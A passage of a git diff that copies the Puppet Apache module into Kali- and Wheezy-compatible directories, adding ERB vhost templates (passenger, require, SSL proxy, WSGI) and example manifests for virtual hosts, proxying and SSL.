directory['mellon_saml_response_dump'] %>" + <%- end -%> + <%- if directory['mellon_cond'] -%> + <%- Array(directory['mellon_cond']).each do |cond| -%> + MellonCond <%= cond %> + <%- end -%> + <%- end -%> + <%- end -%> + <%- if directory['request_headers'] and ! directory['request_headers'].empty? -%> + ## Request Header rules + <%- Array(directory['request_headers']).each do |request_statement| -%> + <%- if request_statement != '' -%> + RequestHeader <%= request_statement %> + <%- end -%> + <%- end -%> + <%- end -%> + <%- if directory['custom_fragment'] -%> + <%= directory['custom_fragment'] %> + <%- end -%> + > + <%- end -%> + <%- end -%> +<%- end -%> diff --git a/modules/services/unix/http/apache/templates/vhost/_docroot.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_docroot.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_docroot.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_docroot.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_error_document.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_error_document.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_error_document.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_error_document.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_fallbackresource.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_fallbackresource.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_fallbackresource.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_fallbackresource.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_fastcgi.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_fastcgi.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_fastcgi.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_fastcgi.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_file_footer.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_file_footer.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_file_footer.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_file_footer.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_file_header.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_file_header.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_file_header.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_file_header.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_filters.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_filters.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_filters.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_filters.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_header.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_header.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_header.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_header.erb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_http_protocol_options.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_http_protocol_options.erb new file mode 100644 index 000000000..efad7e6d8 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_http_protocol_options.erb @@ -0,0 +1 @@ +HttpProtocolOptions <%= @http_protocol_options %> diff --git a/modules/services/unix/http/apache/templates/vhost/_itk.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_itk.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_itk.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_itk.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_jk_mounts.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_jk_mounts.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_jk_mounts.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_jk_mounts.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_keepalive_options.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_keepalive_options.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_keepalive_options.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_keepalive_options.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_logging.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_logging.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_logging.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_logging.erb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_passenger.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_passenger.erb new file mode 100644 index 000000000..f0401a949 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_passenger.erb @@ -0,0 +1,36 @@ +<% if @passenger_app_root -%> + PassengerAppRoot <%= @passenger_app_root %> +<% end -%> +<% if @passenger_app_env -%> + PassengerAppEnv <%= @passenger_app_env %> +<% end -%> +<% if @passenger_ruby -%> + PassengerRuby <%= @passenger_ruby %> +<% end -%> +<% if @passenger_min_instances -%> + PassengerMinInstances <%= @passenger_min_instances %> +<% end -%> +<% if @passenger_max_requests -%> + PassengerMaxRequests <%= @passenger_max_requests %> +<% end -%> +<% if @passenger_start_timeout -%> + PassengerStartTimeout <%= @passenger_start_timeout %> +<% end -%> +<% if @passenger_pre_start -%> + PassengerPreStart <%= @passenger_pre_start %> +<% end -%> +<% if @passenger_user -%> + PassengerUser <%= @passenger_user %> +<% end -%> +<% if @passenger_high_performance -%> + PassengerHighPerformance <%= scope.function_bool2httpd([@passenger_high_performance]) %> +<% end -%> +<% if @passenger_nodejs -%> + PassengerNodejs <%= @passenger_nodejs -%> +<% end -%> +<% if @passenger_sticky_sessions -%> + PassengerStickySessions <%= scope.function_bool2httpd([@passenger_sticky_sessions]) %> +<% end -%> +<% if @passenger_startup_file -%> + PassengerStartupFile <%= @passenger_startup_file -%> +<% end -%> diff --git a/modules/services/unix/http/apache/templates/vhost/_passenger_base_uris.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_passenger_base_uris.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_passenger_base_uris.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_passenger_base_uris.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_php.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_php.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_php.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_php.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_php_admin.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_php_admin.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_php_admin.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_php_admin.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_proxy.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_proxy.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_proxy.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_proxy.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_rack.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_rack.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_rack.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_rack.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_redirect.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_redirect.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_redirect.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_redirect.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_requestheader.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_requestheader.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_requestheader.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_requestheader.erb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_require.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_require.erb new file mode 100644 index 000000000..9ad780539 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_require.erb @@ -0,0 +1,62 @@ +<%- _item = scope.lookupvar('_template_scope')[:item] -%> +<%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> + <%- if _item['require'] && _item['require'] != '' && _item['require'] !~ /unmanaged/i -%> + <%- if _item['require'].is_a?(Hash) -%> + <%- case _item['require']['enforce'].downcase + when 'all','none','any' then -%> + > + <%- Array(_item['require']['requires']).each do |req| -%> + Require <%= req.strip %> + <%- end -%> + > + <%- else -%> + <%- scope.function_warning(["Apache::Vhost: Require can only overwritten with all, none or any."]) -%> + <%- end -%> + <%- else -%> + <%- Array(_item['require']).each do |req| -%> + Require <%= req %> + <%- end -%> + <%- end -%> + <%- end -%> + <%- if _item['auth_require'] -%> + Require <%= _item['auth_require'] %> + <%- end -%> + <%- if !(_item['require'] && _item['require'] != '') && _item['require'] !~ /unmanaged/i && !(_item['auth_require']) -%> + Require all granted + <%- end -%> +<%- else -%> + <%- if _item['auth_require'] -%> + Require <%= _item['auth_require'] %> + <%- end -%> + <%- if _item['order'] and _item['order'] != '' -%> + Order <%= Array(_item['order']).join(',') %> + <%- else -%> + Order allow,deny + <%- end -%> + <%- if _item['deny'] and ! [ false, 'false', '' ].include?(_item['deny']) -%> + <%- if _item['deny'].kind_of?(Array) -%> + <%- Array(_item['deny']).each do |restrict| -%> + Deny <%= restrict %> + <%- end -%> + <%- else -%> + Deny <%= _item['deny'] %> + <%- end -%> + <%- end -%> + <%- if _item['allow'] and ! [ false, 'false', '' ].include?(_item['allow']) -%> + <%- if _item['allow'].kind_of?(Array) -%> + <%- Array(_item['allow']).each do |access| -%> + Allow <%= access %> + <%- end -%> + <%- else -%> + Allow <%= _item['allow'] %> + <%- end -%> + <%- elsif [ 'from all', 'from All' ].include?(_item['deny']) -%> + <%- elsif ! _item['deny'] and [ false, 'false', '' ].include?(_item['allow']) -%> + Deny from all + <%- else -%> + Allow from all + <%- end -%> + <%- if _item['satisfy'] and _item['satisfy'] != '' -%> + Satisfy <%= _item['satisfy'] %> + <%- end -%> +<%- end -%> diff --git a/modules/services/unix/http/apache/templates/vhost/_rewrite.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_rewrite.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_rewrite.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_rewrite.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_scriptalias.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_scriptalias.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_scriptalias.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_scriptalias.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_security.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_security.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_security.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_security.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_serveralias.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_serveralias.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_serveralias.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_serveralias.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_serversignature.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_serversignature.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_serversignature.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_serversignature.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_setenv.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_setenv.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_setenv.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_setenv.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_ssl.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_ssl.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_ssl.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_ssl.erb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_sslproxy.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_sslproxy.erb new file mode 100644 index 000000000..6cb9216d4 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_sslproxy.erb @@ -0,0 +1,29 @@ +<% if @ssl_proxyengine -%> + + # SSL Proxy directives + SSLProxyEngine On + <%- if @ssl_proxy_verify -%> + SSLProxyVerify <%= @ssl_proxy_verify %> + <%- end -%> + <%- if @ssl_proxy_verify_depth -%> + SSLProxyVerifyDepth <%= @ssl_proxy_verify_depth %> + <%- end -%> + <%- if @ssl_proxy_ca_cert -%> + SSLProxyCACertificateFile "<%= @ssl_proxy_ca_cert %>" + <%- end -%> + <%- if @ssl_proxy_check_peer_cn -%> + SSLProxyCheckPeerCN <%= @ssl_proxy_check_peer_cn %> + <%- end -%> + <%- if @ssl_proxy_check_peer_name -%> + SSLProxyCheckPeerName <%= @ssl_proxy_check_peer_name %> + <%- end -%> + <%- if @ssl_proxy_check_peer_expire -%> + SSLProxyCheckPeerExpire <%= @ssl_proxy_check_peer_expire %> + <%- end -%> + <%- if @ssl_proxy_machine_cert -%> + SSLProxyMachineCertificateFile "<%= @ssl_proxy_machine_cert %>" + <%- end -%> + <%- if @ssl_proxy_protocol -%> + SSLProxyProtocol <%= [@ssl_proxy_protocol].flatten.compact.join(' ') %> + <%- end -%> +<% end -%> diff --git a/modules/services/unix/http/apache/templates/vhost/_suexec.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_suexec.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_suexec.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_suexec.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_suphp.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_suphp.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_suphp.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_suphp.erb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_wsgi.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_wsgi.erb new file mode 100644 index 000000000..12c782637 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_wsgi.erb @@ -0,0 +1,38 @@ +<% if @wsgi_application_group -%> + WSGIApplicationGroup <%= @wsgi_application_group %> +<% end -%> +<% if @wsgi_daemon_process and @wsgi_daemon_process_options -%> + WSGIDaemonProcess <%= @wsgi_daemon_process %> <%= @wsgi_daemon_process_options.collect { |k,v| "#{k}=#{v}"}.sort.join(' ') %> +<% elsif @wsgi_daemon_process and !@wsgi_daemon_process_options -%> + WSGIDaemonProcess <%= @wsgi_daemon_process %> +<% end -%> +<% if @wsgi_import_script and @wsgi_import_script_options -%> + WSGIImportScript <%= @wsgi_import_script %> <%= @wsgi_import_script_options.collect { |k,v| "#{k}=#{v}"}.sort.join(' ') %> +<% end -%> +<% if @wsgi_process_group -%> + WSGIProcessGroup <%= @wsgi_process_group %> +<% end -%> +<% if @wsgi_script_aliases_match and ! @wsgi_script_aliases_match.empty? -%> + <%- @wsgi_script_aliases_match.keys.sort.each do |key| -%> + <%- if key != '' and @wsgi_script_aliases_match[key] != ''-%> + WSGIScriptAliasMatch <%= key %> "<%= @wsgi_script_aliases_match[key] %>" + <%- end -%> + <%- end -%> +<% end -%> +<% if @wsgi_script_aliases and ! @wsgi_script_aliases.empty? -%> + <%- @wsgi_script_aliases.keys.sort.each do |key| -%> + <%- if key != '' and @wsgi_script_aliases[key] != ''-%> + <%- if @wsgi_script_aliases[key].is_a? Array -%> + WSGIScriptAlias <%= key %> <%= @wsgi_script_aliases[key].join(' ') %> + <%- else -%> + WSGIScriptAlias <%= key %> "<%= @wsgi_script_aliases[key] %>" + <%- end -%> + <%- end -%> + <%- end -%> +<% end -%> +<% if @wsgi_pass_authorization -%> + WSGIPassAuthorization <%= @wsgi_pass_authorization %> +<% end -%> +<% if @wsgi_chunked_request -%> + WSGIChunkedRequest <%= @wsgi_chunked_request %> +<% end -%> diff --git a/modules/services/unix/http/apache/CHANGELOG.md b/modules/services/unix/http/apache_wheezy_compatible/apache/CHANGELOG.md similarity index 100% rename from modules/services/unix/http/apache/CHANGELOG.md rename to modules/services/unix/http/apache_wheezy_compatible/apache/CHANGELOG.md diff --git a/modules/services/unix/http/apache/CONTRIBUTING.md b/modules/services/unix/http/apache_wheezy_compatible/apache/CONTRIBUTING.md similarity index 100% rename from modules/services/unix/http/apache/CONTRIBUTING.md rename to modules/services/unix/http/apache_wheezy_compatible/apache/CONTRIBUTING.md diff --git a/modules/services/unix/http/apache/Gemfile b/modules/services/unix/http/apache_wheezy_compatible/apache/Gemfile similarity index 100% rename from modules/services/unix/http/apache/Gemfile rename to modules/services/unix/http/apache_wheezy_compatible/apache/Gemfile diff --git a/modules/services/unix/http/apache/LICENSE b/modules/services/unix/http/apache_wheezy_compatible/apache/LICENSE similarity index 100% rename from modules/services/unix/http/apache/LICENSE rename to modules/services/unix/http/apache_wheezy_compatible/apache/LICENSE diff --git a/modules/services/unix/http/apache/NOTICE b/modules/services/unix/http/apache_wheezy_compatible/apache/NOTICE similarity index 100% rename from modules/services/unix/http/apache/NOTICE rename to modules/services/unix/http/apache_wheezy_compatible/apache/NOTICE diff --git a/modules/services/unix/http/apache/README.md b/modules/services/unix/http/apache_wheezy_compatible/apache/README.md similarity index 100% rename from modules/services/unix/http/apache/README.md rename to modules/services/unix/http/apache_wheezy_compatible/apache/README.md diff --git a/modules/services/unix/http/apache/Rakefile b/modules/services/unix/http/apache_wheezy_compatible/apache/Rakefile similarity index 100% rename from modules/services/unix/http/apache/Rakefile rename to modules/services/unix/http/apache_wheezy_compatible/apache/Rakefile diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/apache.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/apache.pp new file mode 100644 index 000000000..88ea25494 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/apache.pp @@ -0,0 +1,18 @@ +# +# apache::fastcgi::server { 'php': +# host => '127.0.0.1:9000', +# timeout => 15, +# flush => false, +# faux_path => '/var/www/php.fcgi', +# fcgi_alias => '/php.fcgi', +# file_type => 'application/x-httpd-php' +# } +# +# apache::vhost { 'www': +# custom_fragment => 'AddType application/x-httpd-php .php', +# docroot => '/var/www/wordpress' +# } + +class { 'apache': + mpm_module => 'prefork' +} \ No newline at end of file diff --git a/modules/services/unix/http/apache/checksums.json b/modules/services/unix/http/apache_wheezy_compatible/apache/checksums.json similarity index 100% rename from modules/services/unix/http/apache/checksums.json rename to modules/services/unix/http/apache_wheezy_compatible/apache/checksums.json diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/examples/apache.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/apache.pp new file mode 100644 index 000000000..18ec55311 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/apache.pp @@ -0,0 +1,6 @@ +include ::apache +include ::apache::mod::php +include ::apache::mod::cgi +include ::apache::mod::userdir +include ::apache::mod::disk_cache +include ::apache::mod::proxy_http diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/examples/dev.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/dev.pp new file mode 100644 index 000000000..5616e32ba --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/dev.pp @@ -0,0 +1 @@ +include ::apache::mod::dev diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/examples/init.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/init.pp new file mode 100644 index 000000000..33911073b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/init.pp @@ -0,0 +1 @@ +include ::apache diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/examples/mod_load_params.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/mod_load_params.pp new file mode 100644 index 000000000..fa43132b7 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/mod_load_params.pp @@ -0,0 +1,11 @@ +# Tests the path and identifier parameters for the apache::mod class + +# Base class for clarity: +class { '::apache': } + + +# Exaple parameter usage: +apache::mod { 'testmod': + path => '/usr/some/path/mod_testmod.so', + id => 'testmod_custom_name', +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/examples/mods.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/mods.pp new file mode 100644 index 000000000..699638248 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/mods.pp @@ -0,0 +1,9 @@ +## Default mods + +# Base class. Declares default vhost on port 80 and default ssl +# vhost on port 443 listening on all interfaces and serving +# $apache::docroot, and declaring our default set of modules. +class { '::apache': + default_mods => true, +} + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/examples/mods_custom.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/mods_custom.pp new file mode 100644 index 000000000..4098c83aa --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/mods_custom.pp @@ -0,0 +1,16 @@ +## custom mods + +# Base class. Declares default vhost on port 80 and default ssl +# vhost on port 443 listening on all interfaces and serving +# $apache::docroot, and declaring a custom set of modules. +class { '::apache': + default_mods => [ + 'info', + 'alias', + 'mime', + 'env', + 'setenv', + 'expires', + ], +} + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/examples/php.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/php.pp new file mode 100644 index 000000000..ee187717e --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/php.pp @@ -0,0 +1,4 @@ +class { '::apache': + mpm_module => 'prefork', +} +include ::apache::mod::php diff --git a/modules/services/unix/http/apache/examples/vhost.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost.pp similarity index 100% rename from modules/services/unix/http/apache/examples/vhost.pp rename to modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost.pp diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_directories.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_directories.pp new file mode 100644 index 000000000..df5a2d52a --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_directories.pp @@ -0,0 +1,44 @@ +# Base class. Declares default vhost on port 80 and default ssl +# vhost on port 443 listening on all interfaces and serving +# $apache::docroot +class { '::apache': } + +# Example from README adapted. +apache::vhost { 'readme.example.net': + docroot => '/var/www/readme', + directories => [ + { + 'path' => '/var/www/readme', + 'ServerTokens' => 'prod' , + }, + { + 'path' => '/usr/share/empty', + 'allow' => 'from all', + }, + ], +} + +# location test +apache::vhost { 'location.example.net': + docroot => '/var/www/location', + directories => [ + { + 'path' => '/location', + 'provider' => 'location', + 'ServerTokens' => 'prod' + }, + ], +} + +# files test, curedly disable access to accidental backup files. +apache::vhost { 'files.example.net': + docroot => '/var/www/files', + directories => [ + { + 'path' => '(\.swp|\.bak|~)$', + 'provider' => 'filesmatch', + 'deny' => 'from all' + }, + ], +} + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_filter.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_filter.pp new file mode 100644 index 000000000..1a66b856b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_filter.pp @@ -0,0 +1,17 @@ +# Base class. Declares default vhost on port 80 with filters. +class { '::apache': } + +# Example from README adapted. +apache::vhost { 'readme.example.net': + docroot => '/var/www/html', + filters => [ + 'FilterDeclare COMPRESS', + 'FilterProvider COMPRESS DEFLATE resp=Content-Type $text/html', + 'FilterProvider COMPRESS DEFLATE resp=Content-Type $text/css', + 'FilterProvider COMPRESS DEFLATE resp=Content-Type $text/plain', + 'FilterProvider COMPRESS DEFLATE resp=Content-Type $text/xml', + 'FilterChain COMPRESS', + 'FilterProtocol COMPRESS DEFLATE change=yes;byteranges=no', + ], +} + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_ip_based.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_ip_based.pp new file mode 100644 index 000000000..249c4199c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_ip_based.pp @@ -0,0 +1,25 @@ +## IP-based vhosts on any listen port +# IP-based vhosts respond to requests on specific IP addresses. + +# Base class. Turn off the default vhosts; we will be declaring +# all vhosts below. +class { '::apache': + default_vhost => false, +} + +# Listen on port 80 and 81; required because the following vhosts +# are not declared with a port parameter. +apache::listen { '80': } +apache::listen { '81': } + +# IP-based vhosts +apache::vhost { 'first.example.com': + ip => '10.0.0.10', + docroot => '/var/www/first', + ip_based => true, +} +apache::vhost { 'second.example.com': + ip => '10.0.0.11', + docroot => '/var/www/second', + ip_based => true, +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_proxypass.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_proxypass.pp new file mode 100644 index 000000000..8edd0de9c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_proxypass.pp @@ -0,0 +1,66 @@ +## vhost with proxyPass directive +# NB: Please see the other vhost_*.pp example files for further +# examples. + +# Base class. Declares default vhost on port 80 and default ssl +# vhost on port 443 listening on all interfaces and serving +# $apache::docroot +class { '::apache': } + +# Most basic vhost with proxy_pass +apache::vhost { 'first.example.com': + port => 80, + docroot => '/var/www/first', + proxy_pass => [ + { + 'path' => '/first', + 'url' => 'http://localhost:8080/first' + }, + ], +} + +# vhost with proxy_pass and parameters +apache::vhost { 'second.example.com': + port => 80, + docroot => '/var/www/second', + proxy_pass => [ + { + 'path' => '/second', + 'url' => 'http://localhost:8080/second', + 'params' => { + 'retry' => '0', + 'timeout' => '5', + } + }, + ], +} + +# vhost with proxy_pass and keywords +apache::vhost { 'third.example.com': + port => 80, + docroot => '/var/www/third', + proxy_pass => [ + { + 'path' => '/third', + 'url' => 'http://localhost:8080/third', + 'keywords' => ['noquery', 'interpolate'] + }, + ], +} + +# vhost with proxy_pass, parameters and keywords +apache::vhost { 'fourth.example.com': + port => 80, + docroot => '/var/www/fourth', + proxy_pass => [ + { + 'path' => '/fourth', + 'url' => 'http://localhost:8080/fourth', + 'params' => { + 'retry' => '0', + 'timeout' => '5', + }, + 'keywords' => ['noquery', 'interpolate'] + }, + ], +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_ssl.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_ssl.pp new file mode 100644 index 000000000..53989ff1b --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhost_ssl.pp @@ -0,0 +1,23 @@ +## SSL-enabled vhosts +# SSL-enabled vhosts respond only to HTTPS queries. + +# Base class. Turn off the default vhosts; we will be declaring +# all vhosts below. +class { '::apache': + default_vhost => false, +} + +# Non-ssl vhost +apache::vhost { 'first.example.com non-ssl': + servername => 'first.example.com', + port => '80', + docroot => '/var/www/first', +} + +# SSL vhost at the same domain +apache::vhost { 'first.example.com ssl': + servername => 'first.example.com', + port => '443', + docroot => '/var/www/first', + ssl => true, +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhosts_without_listen.pp b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhosts_without_listen.pp new file mode 100644 index 000000000..0e97a0221 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/examples/vhosts_without_listen.pp @@ -0,0 +1,53 @@ +## Declare ip-based and name-based vhosts +# Mixing Name-based vhost with IP-specific vhosts requires `add_listen => +# 'false'` on the non-IP vhosts + +# Base class. Turn off the default vhosts; we will be declaring +# all vhosts below. +class { '::apache': + default_vhost => false, +} + + +# Add two an IP-based vhost on 10.0.0.10, ssl and non-ssl +apache::vhost { 'The first IP-based vhost, non-ssl': + servername => 'first.example.com', + ip => '10.0.0.10', + port => '80', + ip_based => true, + docroot => '/var/www/first', +} +apache::vhost { 'The first IP-based vhost, ssl': + servername => 'first.example.com', + ip => '10.0.0.10', + port => '443', + ip_based => true, + docroot => '/var/www/first-ssl', + ssl => true, +} + +# Two name-based vhost listening on 10.0.0.20 +apache::vhost { 'second.example.com': + ip => '10.0.0.20', + port => '80', + docroot => '/var/www/second', +} +apache::vhost { 'third.example.com': + ip => '10.0.0.20', + port => '80', + docroot => '/var/www/third', +} + +# Two name-based vhosts without IPs specified, so that they will answer on either 10.0.0.10 or 10.0.0.20 . It is requried to declare +# `add_listen => 'false'` to disable declaring "Listen 80" which will conflict +# with the IP-based preceeding vhosts. +apache::vhost { 'fourth.example.com': + port => '80', + docroot => '/var/www/fourth', + add_listen => false, +} +apache::vhost { 'fifth.example.com': + port => '80', + docroot => '/var/www/fifth', + add_listen => false, +} diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/files/httpd 